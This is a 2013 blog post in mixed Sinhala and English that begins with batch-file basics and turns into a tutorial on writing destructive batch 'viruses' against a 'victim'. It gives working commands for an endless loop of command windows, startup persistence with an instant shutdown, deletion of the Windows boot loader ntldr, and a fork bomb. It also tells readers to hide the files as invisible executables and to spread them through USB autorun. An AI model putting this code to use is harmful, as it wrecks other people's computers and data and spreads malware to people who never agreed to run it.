Batch file එකක් හදා ගන්නේ කොහොමද? ~ free software for you

Tuesday, April 23, 2013

Batch file එකක් හදා ගන්නේ කොහොමද?



මොනාද batch files කියන්නේ??

batch file එකක් කියන්නේ text file එකක් වගේ එකක්...ඉතින් මේ item එක ගැන මම කියන්නේ ඔයාට  batch file ගැන මූලික දැනුම ඒ කියන්නේ batch file එකක් මකලා ඔයාට ඕනෙ විදියට virus එක හදාගන්න

පල්ලෙහා බලන්නකෝ........

open කරන්න ඔයාගේ command ප්‍රොම්ප්ට් එක ඊට පස්සේ මාරු කරන්න ඔයගේ තිබ්බ directory එක 'desktop' කියල ඊට පස්සේ type කරන්න 'cd desktop' කියල 


දන් පහල තියෙන ටික type කරන්න එකින් එක 

1. md x //makes directory 'x' on desktop
2. cd x // changes current directory to 'x'
3. md y // makes a directory 'y' in directory 'x'


ඉස්සෙල්ලම හදා ගන්න මෙහෙම folder/directory 'x',එහෙනං enter කරන්න  'x',then make a folder 'y' in folder 'x' .
දන් මකන්න  folder 'x'.එක  
අනිත් එකටත් එහෙම කරන්න.මේ command ටික save කරන්න මෙහෙම  anything.bat
          ...:: පල්ලෙහා බලන්න අනිත් ටිකත් සිංහලෙන් ඔයාලට දුන්නොත් වැඩේ කරගන්න බැරි වෙනවා::... 
Now just double click on this batch file and the same work would be done , You will get a folder 'x' on your desktop and folder 'y' in it. This means the three commands executed line by line when we run the batch file

So a batch file is simply a text containing series of commands which are executed automatically line by line when the batch file is run.


What can batch viruses do ?

They can be used to delete the windows files, format data, steal information,consume CPU resources to affect performance,disable firewalls,open ports,modify or destroy registry and for many more purposes.

Now lets start with simple codes,

Note: Type 'help' in command prompt to know about some basic commands and to know about using a particular command , type 'command_name /?' without quotes.

1.



:x
start cmd.exe
goto x // infinite loop


This code will be opening command prompt screen infinite times , irritating victim and affecting performance.

2.  copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup” 
copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds 

Note : Files in Start up folder gets started automatically when windows starts . 


Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder. 

3. Goto C drive in Win XP or windows 7  , Tools->Folder Option->View
Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply 

Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows. 




Lets make a batch file to  delete this file from victim's computer and the windows will not start then.
attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del C:\ntldr //delete ntldr file 

After ruuning this batch file , system will not reboot and a normal victim would definitely install the windows again. 


4.%0|%0 //Its percentage zero pipe percentage zero

This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows This is actually known as 'fork bomb'


The viruses we just coded -: 


Note : Most of the batch viruses are simply undetectable by any anitiviruses
Tip : Coding good viruses just depends on the DOS commands you know and logic you use.


Limitations of Batch Viruses -:

1.Victim can easily read the commands by opening batch file in notepad.
2.The command prompt screen pops up,it alerts the victim and he can stop it.

To overcome these limitations,we need to convert these batch files into executable files that is exe files.

Download this Batch To Exe coverter from Here


After running converter , open the batch file virus , Save as exe file , set visibility mode 'Invisible application' , than just click on compile button. 


You can use other options as per your requirement. 

Spreading batch viruses through pen drive -:

Step 1. 
Open notepad and write 


[autorun]
open=anything.bat
Icon=anything.ico



Save file as ‘autorun.inf’

Step 2. Put this ‘autorun.inf’ and your actual batch virus ‘anything.bat’ in pendrive .

When the victim would plug in pen drive,the autorun.inf will launch anything.bat and commands in batch file virus would execute.
                                     !!!!!!!!!!!!!!!!!!!!!!!!!!එහෙනං සුභ දවසක් කිව්වා!!!!!!!!!!!!!!!!!!!!!!!!!